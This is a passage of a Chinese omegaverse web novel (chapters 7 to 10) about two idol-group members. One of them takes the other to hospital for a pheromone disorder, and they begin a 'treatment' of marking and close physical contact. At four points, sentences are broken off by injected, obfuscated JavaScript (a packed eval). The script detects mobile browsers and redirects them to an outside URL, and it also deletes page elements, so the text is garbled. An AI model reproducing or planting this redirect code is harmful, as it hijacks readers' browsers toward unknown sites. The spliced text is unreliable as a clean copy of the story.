方柏嘉坐在输液大厅的椅子上等着输液的功夫,汤昼恒就站在他旁边的空地上和人通话。 Danny哥知道了方柏嘉生病来医院的消息,隔了几个小时打电话来询问情况。 恰巧这会儿护士走过来核对单子上的信息,汤昼恒举着手机,一边听着听筒那边经纪人的话,一边还侧眸观察方柏嘉这边的情况,不时替方柏嘉应一句:“对,是我们。麻烦,谢谢。嗯?我在跟护士说话。” 方柏嘉坐在原地,嘴都不用张。 护士给方柏嘉挂好水,好心提醒他:“打这个针嘴巴里会苦哦。” 方柏嘉轻轻点了点头,对方就走了。 汤昼恒还在和经纪人说话。 “现在已经看完了,在吊水,吊完水就回去。嗯,我等会直接带他回宿舍吧……什么病?” 对面的经纪人似乎问了个问题。 方柏嘉看似垂着眼睛单手在翻手机,实则一直在听汤昼恒那边的动静。 听到“什么病”这三个字,他立刻抬起头,一脸不妙地看向正举着手机的人。 汤昼恒感受到他的目光,侧过脸来。 只和方柏嘉对视了两眼,就移开视线,同时一只手再次搭上他的肩膀,意思是让他别担心。 “就是,激素紊乱,身体压力比较大,可能这段时间训练量有些超负荷了,加上他又刚过易感期没多久……对,嗯,我知道。” 方柏嘉这才放心下来,但还是一直盯着他。 不过半分钟,汤昼恒挂断电话。 他在方柏嘉的眼神注视下坐到了旁边的椅子上,大概猜到对方在想什么,说:“你的这个情况,我想也不太方便告诉别人,对公司那边,说的是你激素内分泌失调,导致信息素不太受控,需要一直佩戴阻隔贴。下次别人再问起来,你就这么讲。” 方柏嘉不知道该说什么,声音闷闷地道:“嗯,谢谢。” “不客气。”汤昼恒说。 然后他们同时陷入了一阵沉默。 出了诊室,两人之间的气氛明显冷了下来。 不知道是不是错觉,方柏嘉感觉汤昼恒整个人都比刚才在车上的时候冷淡了,又或者说,心不在焉。 突然间,他站了起来,说了句“我离开一下”,就朝着远处的走廊走了过去。 方柏嘉眼睁睁看着汤昼恒的身影消失在墙壁转角处,开始无聊地想东想西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但这次没送到他手上,而是直接递到他的嘴边,说:“张嘴。” 方柏嘉愣住了。 ……这人是在撩吗?刹那间,他在心中不太确定地想。 还是仅仅作为队友的表示友好以及对病患的慰问? 汤昼恒有对组合里其他人这么做过吗? 没印象了。 单根食指拉下脸上的口罩,方柏嘉凑上去把糖含住。舌头抵着把它推到一边,左侧脸颊上紧跟着被顶出一个鼓包。 “谢谢。”他含混不清地说出今天第不知道多少次感谢,不知为什么脸有点烫。 方柏嘉在心中狠狠唾弃了一下自己不够争气,没怎么好意思接着看对方,两片薄薄的眼皮垂下去瞧着地板,假装认真地品尝着糖果的甜味。 下一秒,又见汤昼恒神不知鬼不觉地从他那外套口袋里再掏出一袋话梅,扯开包装递过来。 “还有这个,自己拿着吃。” 方柏嘉:“……” 所以刚才为什么不直接给他话梅? 8. 第 8 章 一共三大瓶药,陆陆续续输了三小时才终于输完。 彼时已经是傍晚七点多,汤昼恒又叫了个车载他们回去。 路上照旧无话,觉得空气有点沉闷,方柏嘉打开常去的APP逛了起来。 才在首页扒拉两下,大数据就自动给他推荐了路人视角偶遇的帖子。 封面配图就是他和汤昼恒坐在输液大厅里的画面,标题是【虽然不认识但嗑到鸡叫】。 发帖人: 【到医院看病输液,发现斜对面有两名戴口罩的男生,一个在吊水,一个陪他。吊水的那个睡着了头一直往旁边歪,另一个就不停看他,可能觉得这样睡太难受了,最后干脆把身上的外套脱下来给他垫上,吊水的那个迷迷糊糊起来看他一眼又接着睡超好笑。 ps这两个人都太帅了,不露全脸都肉眼可见的帅,腿长得医院座椅都装不下……越看越感觉不是明星应该也是模特,不知道有没有人能认出来?】 看到这里,方柏嘉点开大图仔细观察。 那会儿应该是输液的后半段,方柏嘉已经睡着了,头和肩膀之间垫着一块团起来的灰色物品,他的脑袋沉甸甸地枕在上边,睡得很沉。 而旁边的汤昼恒只穿着一件长袖T恤,坐在方柏嘉的左手边静静地刷着手机。 氛围感很足的一张照片。 拍摄者离得有点远,像素略有些模糊,但照片上手长腿长的入镜者做不了假,看着就令人赏心悦目。 方柏嘉盯着这张图看了许久,试图回想当时的情境,模模糊糊。 没想到旁人视角看起来是这样…… “饿了没?晚上想吃什么,我先点,到家可以少等会。” 现实里,汤昼恒的声音冷不丁自一旁响起,方柏嘉吓了一跳。 余光里看见对方侧头过来,顿时做贼心虚地把手机往自己的方向偏了偏,眼疾手快地退出帖子,手指向上猛滑。 大脑接收到对方在问的问题,他呆了两秒才道:“你和我一起吗?” 听起来很诧异。 大概被他梦游般的语气逗到,汤昼恒扭头看了方柏嘉一眼,似笑非笑,又像是有点意外地淡淡问:“不可以吗,你不愿意?” 好像他陪方柏嘉看了一下午的病,却不能一起共进晚餐,是个什么很过分的事情一样。 方柏嘉:“呃,也不是——” 他卡了一下,脑袋里飘过一众附近的外卖店名。 身体不舒服,吃什么都没劲。方柏嘉拿不准主意,把选择交给对方:“我没什么胃口,你看着点吧。” “馄饨面?你得吃些清淡的。” “行。” 其实这样反倒正合他意。 方柏嘉没睡着前就一直在考虑他该从哪搞个alpha来这件事: 对方要得自己刚好认识,刚好值得信任,刚好可以经常见面,最重要的是,要能接受得了去咬一个alpha的脖子。 考虑来考虑去,怎么看他身边只有一个汤昼恒符合以上全部条件。 而且汤昼恒还有一个最大的优点,是他已经清楚了方柏嘉的情况,不需要再费口舌解释,也早就实地上嘴咬过一回。 标记本身就是带有性/意味的动作,方柏嘉还没有大大咧咧到认为随便来个alpha都行的程度。 说到底,他为什么要放着一个已知的最优选不用,再去舍近求远呢? 起码就目前的情况看,对方在保密这点上还是值得放心的。 经过一下午无聊时的反复思考,方柏嘉的态度已经从最开始的“不能指望汤昼恒”演化成了“其实他来才是最合适的”。 事关自己的生命安危,情感问题可以往后稍。 不管对方到底怎么想的,方柏嘉都打算等二人独处时和汤昼恒谈谈。 * 回了宿舍,先是四名队友赶来探望。 他们刚下训练也没多久,本来正在楼下另一间宿舍里一起吃晚饭,上来简单寒暄了几分钟,担心影响方柏嘉休息,很快又起身告别。 屋子里一时间安静得让人不习惯。 方柏嘉假装去卫生间洗手,脑海里一直在构思等下要怎么开启话题。 前面做了那么多心理铺垫,真到了要开口的时候,方柏嘉又突然犹豫了。 一会儿想,对方都对着医生那么讲了,自己还硬着头皮找他商量,不是明摆着会被拒绝吗。 做人还是要保留一点最后的体面和尊严吧。 一会儿又想,让那人稍微出个力怎么了??? 自己是绑架汤昼恒强迫他把舌头伸进来了,还是拿枪指着汤昼恒的头让他/顶/他了? 他一个易感期都只会花钱耍流氓的alpha能有什么攻击力。 对方要真不愿意,那晚就该直接走人,现在也不会变成这样。 不行,一定得说。 方柏嘉关上水龙头,一转身,和正从门口走进来的汤昼恒打上照面。 他愣住一瞬,下意识后退半步:“你要用吗?我……先出去?” “不用。”汤昼恒拦住他,“我只是来看看你好了没有,感觉你一直在卫生间没出来。” “啊……”方柏嘉张着双唇,眼神心虚地向一旁移开。 汤昼恒突然道:“可以和你聊聊吗?关于今天在医院,医生说的那些话。” ……咦??? 几乎是瞬间,方柏嘉的目光又移回来。 只见汤昼恒视线垂下去,看似随意地轻轻把玩了下手下洗手台上那属于方柏嘉的护肤品。问他: “你现在是什么想法?” 方柏嘉千算万算,没想到最后竟会是对方先提起这个话题。 迷糊了一会儿,不太理解汤昼恒的意思。 “什么想法”这种问题,是不是有点太宽泛了? 短暂怔愣一下的功夫,汤昼恒又问:“你有在谈恋爱的对象吗?” ……咦咦咦咦? 为什么话题又扯到谈恋爱上面了。 方柏嘉瞳孔放大一瞬,莫名道:“我没有啊?” 汤昼恒:“那你有没有其他能提供帮助的人选?” 这是在试探自己吗。 方柏嘉缓缓摇头:“也没有。” 他突然反应过来,意识到自己不能一直这么被动:“等等——我能不能先跟你道个歉?” 看见汤昼恒疑惑的神情,方柏嘉做了个吞咽的动作,往下说:“上次直播的事,一直没好意思跟你讲。但我后来想了想,确实是我做得不对。” “我不该在那种场合让你下不来台,对不起。” 对方的表情看起来很诚恳。 没料到半个月前的事还会被方柏嘉拿出来聊,汤昼恒微微扬起眉毛,神色很是意外,等了一等才点头:“没关系。其实也没什么影响。” “所以我可以知道是为什么吗?” 这才是他更意的。 方柏嘉十分为难地婉拒了:“你最好还是不要知道。” 汤昼恒:“。” 好的。 “还有就是今天——”方柏嘉又清清嗓子。 右手食指指尖下意识抠着洗手池台边,目光闪烁地抬眼:“中午我和江白树还有杭泽宇在练习室里说话,不知道你听到没有。” 汤昼恒就这样看着他,突然感觉有点好笑。 方柏嘉整体气质偏冷,五官精致,平时也不大爱说话,是很多还在上学的omega会喜欢的酷哥类型。 然而此刻,他的神情却像那种有心眼的小狗。拆完家后等着主人回来,因为不想认罚,哪怕试探也是小心翼翼的,除非真的被主人发现,否则绝对不会主动承认。 汤昼恒回想了一下:“噢。你是说我衣服有怪味那件事。” 方柏嘉:“…………” 他果然还是听到了。 “我不是故意那么说你的。”方柏嘉嗓音含混,“你今天听医生说了也知道,我这个情况就是会忍不住闻信息素。他们当时突然就进来了……” 方柏嘉突然深吸一口气。 因为对接下来要说的内容不好意思,他语速提得很快:“我不想被发现在偷闻你的衣服所以被问起来的时候只好撒了个小谎没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762091|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你刚好也在但我真没觉得你的外套有味道——!” 话音骤停,又是一次深呼吸。 方柏嘉整个人萎靡下来,像被放了气的气球人般低声嘟囔第二次:“对不起。” 忽然翻自己老底,并非是方柏嘉心血来潮。 他毕竟有求于人,就要拿出求人的态度,过往的积怨和误会都先清干净了再谈别的,否则汤昼恒也不会高兴。 然而,作为一名众所周知性情古怪,连粉丝都热衷于给他比格塑的犟种,要让方柏嘉鼓起勇气说出这些话并不容易。 甚至可以说是精神虚脱。 说完,方柏嘉立刻垂下眼去看自己的拖鞋鞋尖。 两秒死寂之后,他疑似听到了有人在笑。 低低的,忍俊不禁,像是压在鼻腔里的一声。 ? 方柏嘉抬起头,听见汤昼恒道:“嗯,我知道。” ……他知道? 汤昼恒说:“一开始我也有一点介意,但是在去医院的路上看见你那样,我就觉得——你应该还是挺喜欢我的味道的。” 对方的说法很含蓄,方柏嘉被他讲得脑回路跟着转了个弯,才想起自己在网约车上一个劲掀开汤昼恒的衣服往他腹肌里钻的流氓举动,脸上渐渐露出茫然呆滞之色。 像是被雷劈了。 紧接着,一阵热流直冲面颊。 不是,他这个一神志不清就性骚扰别人的习惯怎么改不过来? 下一秒又缓过来了,想,也行。 起码自己的清白是证明了。 方柏嘉扯了扯嘴角,以一脸恨不得现在就钻进瓷砖缝里去的尴尬神情干笑两声:“是挺好闻的。” 话都说到这儿了,方柏嘉决定一鼓作气。 “最后就是,你刚才说的医生让我找人脱敏的事。” 不想让汤昼恒察觉到他目前的处境是非他不可,方柏嘉故作声势:“我综合考量了一下,因为最近团体活动很频繁,到时候还要飞来飞去跑节目,可能不方便找别人,只有你是最近的,我希望你能帮忙。” 方柏嘉考虑明白了。 就算汤昼恒不喜欢他又怎么样,他长相不好吗,身材不好吗?多少人想花钱和他亲密接触都没机会,汤昼恒享都享受过了,凭什么置身事外? 就是这个气势,方柏嘉在心中鼓励自己。 ——讲出你的需求,把事实有条有理地列出来,告诉对方这件事他也有责任。 方柏嘉想得很好,然而也不知道是不是被脑子里闪过那句“多少人想花钱和他亲密接触”给带偏,一张口,就变成了: “如果你很在意,我可以花钱。” 话音还飘在半空中,方柏嘉的眼睛就已经睁大了。 救命,他刚才说了什么,这是可以补救的吗。 汤昼恒脸上的表情似乎也陷入了自我怀疑的沉思:“…………” 他沉默半秒:“像上次那样五分钟十万吗?” 方柏嘉:“……” 就知道这件事绕不过。 事已至此,他只能硬着头皮回答:“呃……你想要的话?” 放慢的语速和轻飘的尾音不难听出他的迟疑。 方柏嘉想了想,忽然觉得这样也不是不行。 他出钱,汤昼恒出信息素,钱货两讫,听起来很公平。 汤昼恒嘴角扯了扯,脸上的表情像是在说“你认真的?”。 “五分钟十万,医生建议每周至少一次、每次至少十五分钟,那就是三十万,一个月按四星期算是一百二十万。这么一年下来你要花——” 方柏嘉眼睛一眨不眨地看着他,闻言,下意识在心里做了个乘法,回答:“……一千四百四十万?” 靠,他这个计算能力放在娱乐圈能吊打百分之九十五的人吧。 方柏嘉的思维跑偏一瞬,然后又被汤昼恒拉回来。 对方从鼻间发出一声气音的浅哼,向后靠在盥洗室的大理石墙壁上,像是在笑。 “我怎么不知道我有这么值钱?”汤昼恒叫出他的全名,问他,“方柏嘉,你赚钱很多吗?” 9. 第 9 章 记忆里,汤昼恒很少这样对人直呼其名。 他毕竟是组合里年纪最大的,一旦喊人大名,就很容易显出压迫感,一般都是有正经事要商议时才可能这么叫。 然而此时此刻,方柏嘉这三个字在他嘴里却硬是被念出某种促狭的意味,每一个音节的咬字都松软又有磁性。 明明当中至少还有半米的距离,方柏嘉却无端感觉有一阵暖流从他耳畔酥麻麻地擦过。 什么鬼,他不会又在撩自己吧? 这是一般人说话会用到的语气吗? 方柏嘉脸上暗暗发热,觉得汤昼恒有点夸张。心想,我赚的是还可以啊……你小瞧我了吧。 他虽然不像汤昼恒一样拍戏,但好歹是组合里的另一个top,除去代言费和团体分红以外,写歌的版权费也能拿不少,一年一千多万还真没什么付不起。 汤昼恒自己更不必说,十来岁出头就混圈的人了,存款估计是他的几倍,什么“不知道我有这么值钱”,闹着玩呢? 不过对方说的也不是一点道理都没有。仅仅只是这种程度的亲密接触都那么贵,方柏嘉但凡再想干点别的,说不定汤昼恒真能把他这些年的家底掏空。 方柏嘉又反悔了,有些纠结地想,早知道不该把话说那么早。 要不然还是讲讲价? 他一脸踌躇的样子被汤昼恒看在眼里,认为方柏嘉真在因为钱的事情犹豫不决,不等方柏嘉把砍价的名目想出来就开口:“……我是开玩笑的,不用你给钱。” 听语气甚至有些无奈。 “啊?”方柏嘉一脸的状况外。 汤昼恒还以为他没听懂,又耐心解释:“这件事本来也和我有关,接下来马上又是回归期,你的身体出了问题,不管怎样我都责无旁贷。怎么可能要你的钱?” “刚才问你什么想法也是为了确认。你要是有合适的人选,我就不多嘴了。没有的话,如果你需要,我也肯定不会不管。” 方柏嘉愣愣地听他说完这一番话,思绪宛如在走迷宫。两三秒后,忽然顿悟。 原来是这样。 自己毕竟是组合的一员,这个毛病解决不好,势必会影响接下来的活动安排和人员出勤率。到时候公司怪罪下来,排查原因,要是他把汤昼恒也供出来,两个人肯定会一起挨训。 作为队长,汤昼恒于情于理都不能抛下他不理,所以他之前那些担忧纯粹是多余了。 “哦……”方柏嘉不知道该说什么,只吐了一个字出来。 “所以,”汤昼恒停顿一下,接着道,“如果你非有什么一定想给别人钱的冲动,最好也稍微控制一下。” 刚才说到钱的时候,汤昼恒一度有冲动想问问他是不是有着某种不为人知的癖好,比如经常去高级会所点男模……之类的。 倒不是他有心要把方柏嘉往坏处想,可如果不是这样,对方怎么会每次一提到这种事就想到金钱交易上呢? 他们只是同事,汤昼恒并不了解方柏嘉的私生活,担心他在自己不知道的时候掉进娱乐圈的染缸,被什么人给带坏,只能这么委婉地劝告。 “?” 方柏嘉咂摸不出他的言外之意,只感觉自己又被汤昼恒内涵了一把易感期装阔佬结果还白嫖了的奇葩事迹,悻悻地露出一脸“你在说什么我听不懂”的表情。 没想到沟通过程竟会如此顺利,方柏嘉提了一下午的心终于落回原地之际,突然想到他还有个很重要的事没和汤昼恒弄清楚。 “等一下,那你呢?” 方柏嘉倏地问:“你现在有没有在谈恋爱?” 这个问题和刚才的话题略有些风马牛不相及,看着汤昼恒诧异的神色,方柏嘉意识到话的内容可能引起歧义,他的脸猝然红了一下,赶紧解释。 “我的意思是——虽然你确实是目前最合适的人选,但如果你有交男朋友或者女朋友的话,感觉也不太合适,我还是去找别人比较好。” 方柏嘉尽管是汤昼恒梦男,但实际上对对方的情感状况并不清楚,否则也不会看了网上一个不知真假的爆料就深夜在小号发疯。 虽然他对自己除了汤昼恒还能找谁并没有头绪,不过,态度还是要和对方摆明了的。 太缺德的事他做不出来。 方柏嘉双手抱臂,看似放松地踢了踢面前的瓷砖地板。 汤昼恒说:“我没有。” 对方想了想,似乎是在猜测方柏嘉的疑问从何而来:“你是在说唐宋吗?我没有在和她交往,只是普通朋友关系。” “……”谁要听你解释得这么详细。 方柏嘉没想到他这也能猜中,欲盖弥彰地咳嗽一下,慢吞吞道:“噢……你不用跟我说这个,你那爆料我都没看。” 其实看完热搜他难受得凌晨四点都没睡着,差点把手上六位数的汤昼恒小卡卡盘挂到二手市场上出了。 “嗯……”汤昼恒说,“只是不想你误会。” 方柏嘉又干巴巴地“哦”一声。 心里却想,谁知道你说的是不是真的。 海王面对每条鱼的时候当然也都说自己只钓这一条,可实际情况谁晓得? 说不定汤昼恒这会儿正跟好几个人都暧昧着。 方柏嘉也不是非要把汤昼恒想得多坏多恶劣,但是—— 对方一个精力旺盛的年轻alpha,长得巨他妈帅,身上还巨他妈有钱,说他不会趁着最好的年华尽情挥洒一下顶级的优质荷尔蒙,谁信? ……虽说方柏嘉自己也长得巨他妈帅,巨他妈有钱还一直没谈恋爱吧,但人和人能一样吗。 像他这么专一的A可不多见。 方柏嘉向来不惮以最大的恶意揣测男人的本性。 …… 哎,暗恋一个人就是这么可悲。一方面不希望那个人谈恋爱,另一方面又很难相信对方没谈。 一阵沉默后。 汤昼恒的声音再度响起,很是心平气和地问他:“要今天就试一次吗?看看这样会不会让你好受点。” 终于来到重头戏,方柏嘉的心跳陡然加快:“……应该是要的吧。” 为了接下来的工作考虑,肯定是尽快开始适应,越早恢复健康的身体状态越好。 他不太确定地说:“现在吗?” “看你。” 方柏嘉盯着洗手池考虑了两秒:“也行。” 话都聊到这儿了,不顺便试一把也说不过去。而且最主要的是再过一会儿陆翰音就该吃完饭了,得趁他回来前把这个事办完。 * 在方柏嘉的提议下,两人一起转道去了客厅。 ——至于为什么不是私密性更好的卧室,原因是方柏嘉觉得太暧昧了,汤昼恒“故地重游”一次,太容易让人联想到上次易感期,这样不好。 坐在沙发上,稍稍四十五度侧过身,两人简单地对视一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762092|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快将目光撇开,拘谨得都像被老师罚坐的学生。 最终还是汤昼恒先开口:“你想怎么做?标记?还是……接吻?” 说到“接吻”两个字,汤昼恒的语调似乎变得怪异起来,在他对面的方柏嘉的脸上也闪过一丝不自在,有些拿不定主意。 上来就说接吻?那有点太饥渴了吧,好像显得他对汤昼恒图谋不轨。 他在心里暗自嘀咕着,汤昼恒似乎看出他的犹豫,反倒比方柏嘉想得远一些,思考了几秒,问方柏嘉:“你现在还在戴阻隔贴,是我留下来的味道还是很浓么?” 方柏嘉被他说得一愣:“还可以吧……但就是没完全消掉。” 说到这事,他之前也烦恼过。 方柏嘉上网搜了alpha被咬后信息素大概多久能代谢掉的问题,答案是因人而异,一星期、一个月,甚至更长的都有。 现在半个月过去,汤昼恒给他的标记始终没能失效,可见他不是代谢快的那类人群。 “标记的话,戴阻隔贴的时间就会延长,可能不方便,而且一直戴这个也不方便伤口愈合,可能还是接吻好一些。” 汤昼恒顿了顿:“你介意吗?” 相当于直接帮方柏嘉选好了最优解。 方柏嘉有点意外,但觉得这样也好,不用在那装模作样地假纠结。 同时又心想,你看我易感期抱着你狂啃那个样像是会介意吗?这人揣着明白故意这么问的吧……? 表面上只是含糊地答:“嗯,还好。” 总不能说我怕和你亲着亲着把我爽死。 “那,”汤昼恒拿起手机,低头看了一眼时间,“我开始了?” 方柏嘉瞬间感觉自己变成了提线木偶,这回连个“嗯”都没挤出来,眼睁睁看和汤昼恒说完那句话后停顿两秒,确认方柏嘉没有异议,就朝自己靠近过来。 心跳猛烈提速,直到对方距离他十公分之隔时方柏嘉才想起来要闭眼。 再不闭要对上了。 睫毛慌乱地颤了颤,面前明显罩下一片阴影。 一阵夹杂着樱桃味的香风扑来,方柏嘉阖上的眼皮一抽,突然开始后悔答应和汤昼恒接吻。 他发现他真的会介意。 之前虽然也亲过,但他当时毕竟以为那是假的,半梦半醒间随着本能做出的动作,当然是怎么大胆怎么来,也不会有太多羞耻心和顾虑。 一旦到了清醒状态下,气氛则变得完全不同。 一想到接下来将发生什么,方柏嘉整个人都僵硬了,头晕目眩中甚至不知道手该放哪,姿势也不敢多动一下。 首先,他要和汤昼恒接吻了。 其次,他要和汤昼恒接吻了。 最后…… 在他面前的这个人可是汤昼恒,而不是什么别人。 方柏嘉在紧急时刻扪心自问:你这种别人给点甜头就上钩、单身二十三年暗恋就占了五年的恋爱脑能挺住吗?该不会到时候治疗着治疗着越陷越深,真把自己栽进去了吧? 他思考0.01秒,得出的答案是,很有可能。 想想汤昼恒易感期那次的表现,还有对方的事后发言,根本就是不想负责的态度,他又为什么要自找苦头,去做会让自己胡思乱想的事? 想要逃跑的冲动在这一刻到达顶峰,转化成了行动。 温热气息即将抵达的前一秒,方柏嘉冷不丁张口:“等、等一下。” 10. 第 10 章 声音意外的虚弱又沙哑,仿佛明明还没亲上就已经脱了力。 方柏嘉用尽最大的定力强制把自己抽离出来,猛地偏头错开对方热的唇,头往后撤。 拉开双方之间的距离,又差点被顶头的灯光晃到眼。 他脸上匆匆一热,下意识闭上眼睛,清了清嗓子,嘴巴却还在飞快地动:“我感觉,我还是不太接受得了这样,要不然还是标记吧。” …… 一阵死寂。 两秒之后还是没有得到回答,方柏嘉小心翼翼把眼睛睁开,观察对方的反应。 汤昼恒脸上看起来并没有什么异色,像是在思考,沉默了一下说:“可是你的伤口——” “这个没关系的。” 方柏嘉知道他要说什么,没等对方说完就道:“我晚上回宿舍到第二天出门前都不会戴阻隔贴,十几个小时应该够恢复了。而且,还有你之前给我的药。” 直到看见汤昼恒诧异的眼神,方柏嘉才意识到自己话说得有些太快、太迫不及待了。 他讷讷地动了下嘴唇,忽然又有点局促,不知道汤昼恒会怎么看他的临时反悔。 方柏嘉总是这样,一冲动上头起来就不管不顾,要等到话说完了才察觉不对。 担心会被汤昼恒误会,可是转念一想,他们之间又有什么好误会的呢?要是特意解释才显得他自作多情吧。 何况他会中途叫停的原因也没法和对方说。 “那好吧。” 汤昼恒没有过多追问:“注意伤口清洁,有什么不对的地方跟我说。” 他们的关系毕竟没有熟到汤昼恒可以更进一步地劝说,对方都这样讲了,他似乎也没有资格不同意。 茶几上的收纳盒里就有生理盐水棉签,汤昼恒帮方柏嘉消了毒,改成给他标记。 据说omega的这块皮肤为了服务于AO标记,早在百万年的进化中得痛感不那么敏感,但alpha明显没有。 腺体在青年的齿端如黄油一般轻松切开的瞬间,方柏嘉体内有关alpha的本性又涌上来,被人侵/犯到敏/感部位的感觉令他非常不适,痛感更是让他皱起眉头。 仿佛遭到同类挑衅,他的身体抽动一下,下意识要打架般抓住汤昼恒放在他旁边的手腕。 汤昼恒察觉到这点,收回牙齿,松开他后颈处的肌肤,舔掉白皙脖颈上的多余血渍,从扶着腰的动作改为在方柏嘉的后背轻拍:“放松。” “你可以在我身上靠一会,现在才过去五分钟。” “嗯。”方柏嘉说不出多余的话,闷闷地应了一声,却没有动,只用额头抵住他的颈窝。 直到注入腺体的信息素迅速生效,冲淡了皮肉层面的疼痛。锐利的扎刺感只维持了不到两三秒,很快被一阵浓烈的眩晕所替代。 方柏嘉低哼一声,身体顿时卸力,翻转过来,整个人以一种诡异的姿势顺着对方的胸膛慢慢下滑了五公分。 “……” 汤昼恒把他的身体扶正,终于问:“要不要坐到我腿上?” 刚才还软绵绵将侧脸贴在他胸口处的方柏嘉眼睛瞬间睁大,像没听清他的话似的,有些费力地缓缓抬头。 只见汤昼恒也正低垂着眼睛望着他,淡定地解释道:“这样方便抱着,你会舒服一点,应该也对脱敏治疗比较好。” 在谈及医嘱时,林主任有向二人解释过,当人们进行标记或者接吻这类举动时,血液信息素浓度会上升至85%,人体内的性激素水平将会自动调节,而这个过程要起码持续十五分钟才能见效。 也就是说,脖子是咬完了,但他们依然要在标记后的这段时间继续保持高频率的信息素交流。 方柏嘉显然也想到了这点,眼神移开。 又过了半分钟。 他慢吞吞在沙发上爬起来,坐到汤昼恒的大腿表面。 对方基本上还是刚才那个姿势,双腿微微打开地坐在沙发中间。见方柏嘉凑近过来,便很自然地伸出手,揽住他的腰肢,另一只手搭在他稍稍屈起来的膝盖上端。 方柏嘉也佯装松弛地靠在对方身上,腰身弯了弯,侧头枕住汤昼恒的肩膀—— 其实目光都是直的,根本不敢往旁边看,只能心中不停安慰自己,这是为了疗效。 应该差不多了,接下来只要等剩下的时间过去就好。他屏住呼吸地想。 然而很快,方柏嘉就发现事情没有这么简单。 临时标记过后,本来就是人体极敏/感的阶段。他的身体会向对方打开更多的信息素接收通道,这时只需要简单的近距离拥抱,就能达到平时几倍的效果。 在这样的情况下,每一点身体摩擦,乃至呼吸交叠引起的反应都会被放大。 这才坐在对方怀里没一会的功夫,周遭的气温似乎又上升了好几度。方柏嘉热得快坐不住,光是和汤昼恒如此近距离的接触就让他心浮气躁,又隐隐有想像易感期那天那样挂在对方身上乱/蹭的冲动。 甚至,他还微微敬礼了。 “……”察觉到自身变化的方柏嘉先是呆了呆,紧接着恨不得一头撞死在沙发上。 好可怕的,低级的,原始的alpha! 方柏嘉越想越觉得害臊,但又不可能向汤昼恒开口,一番纠结之后,决定自己悄悄挪远一点。 两人离得太近了,近得他心悸。 他没跟汤昼恒打招呼,起身抬了一下屁股。 隔着裤子好像被什么东西给擦过。 方柏嘉人都还没反应过来,就听见汤昼恒隐忍的一声。 那声音很磁性,也略显低沉,因为是在猝不及防的状态下发出的,所以带着很明显的不健康意味。 方柏嘉被吓到,一下跌坐回原来的位置。 汤昼恒又是一记闷哼出来的喘。 方柏嘉的眼睛瞬间瞪大了:“……对不起!” 他一下有些慌神,都不知道自己在对不起些什么,靠近对方的那只手下意识去找支撑点,找了半天,却只是在对方的胸肌上一通乱摸。 方柏嘉只好撑着他的胸口借力,想要再坐起来,汤昼恒紧接着倒吸一口冷气,终于忍不了了似的开口:“……别乱动。” 声线都比平时听来更微妙地暗哑一点。 短短几秒就被方柏嘉搞得焦头烂额,汤昼恒叹了口气,生怕他再做出什么过分举动,赶忙抓住方柏嘉正在慌不择路作恶的那只手。 沙发上有条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762093|174428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方柏嘉平时看电视用来盖的毯子,汤昼恒眼疾手快地从一旁拿起它,展开,将方柏嘉以最快速度裹住。 先是盖住正面,然后单手托着他的大腿把他抱起,另一只手顺势将多余的毯子垫到他的身下,全程甚至不需要方柏嘉配合出力。 ——不出几秒的时间,怀里的人就只有小腿和脑袋还露在外面了。 方柏嘉眨巴眨巴眼,唯有震撼:“?” 他这么高大一男的,虽说挺瘦,但也有快一百三十斤,就这么轻松被汤昼恒拿捏小猫小狗似的提溜起来,整个人悬空几秒又被放下了? 方柏嘉感觉到一种人生的虚幻。 汤昼恒把他重新圈进怀里,双手在他腰后交扣。 “躺好,”他像是在和方柏嘉谈条件,声线很温和平静,“就几分钟了。” 说这话时,却依然隔着至少两层毯子戳着怀里的人。 “……” 方柏嘉仿佛被人点了穴,浑身僵硬地呆在那里,想动又不敢动。 等一下,汤昼恒是……了吗? 方柏嘉莫名闹了个大红脸,这下是真的老实了,腰身塌下去,低下脸,乖乖窝在对方温度偏高的怀中睁大眼睛,好一会儿都屏着气,连呼吸也不敢用力。 尽管这样说很奇怪,但或许是之前那次一直都是他在主动,加上这回也是他有求于人,最近已经麻烦汤昼恒帮了不少忙,以至于方柏嘉甚至都忽略了,自己也是会引起对方的生/理变化的。 但是,这种两个人对着举行升/旗仪式还要装不知道的感觉也太怪了。 方柏嘉羞得不想说话,脑袋蹭蹭,将自己的下半张脸慢慢沉进毯子里。 脑子里各种杂七杂八的思绪乱飞,不知不觉也熬到了一次“治疗”结束。 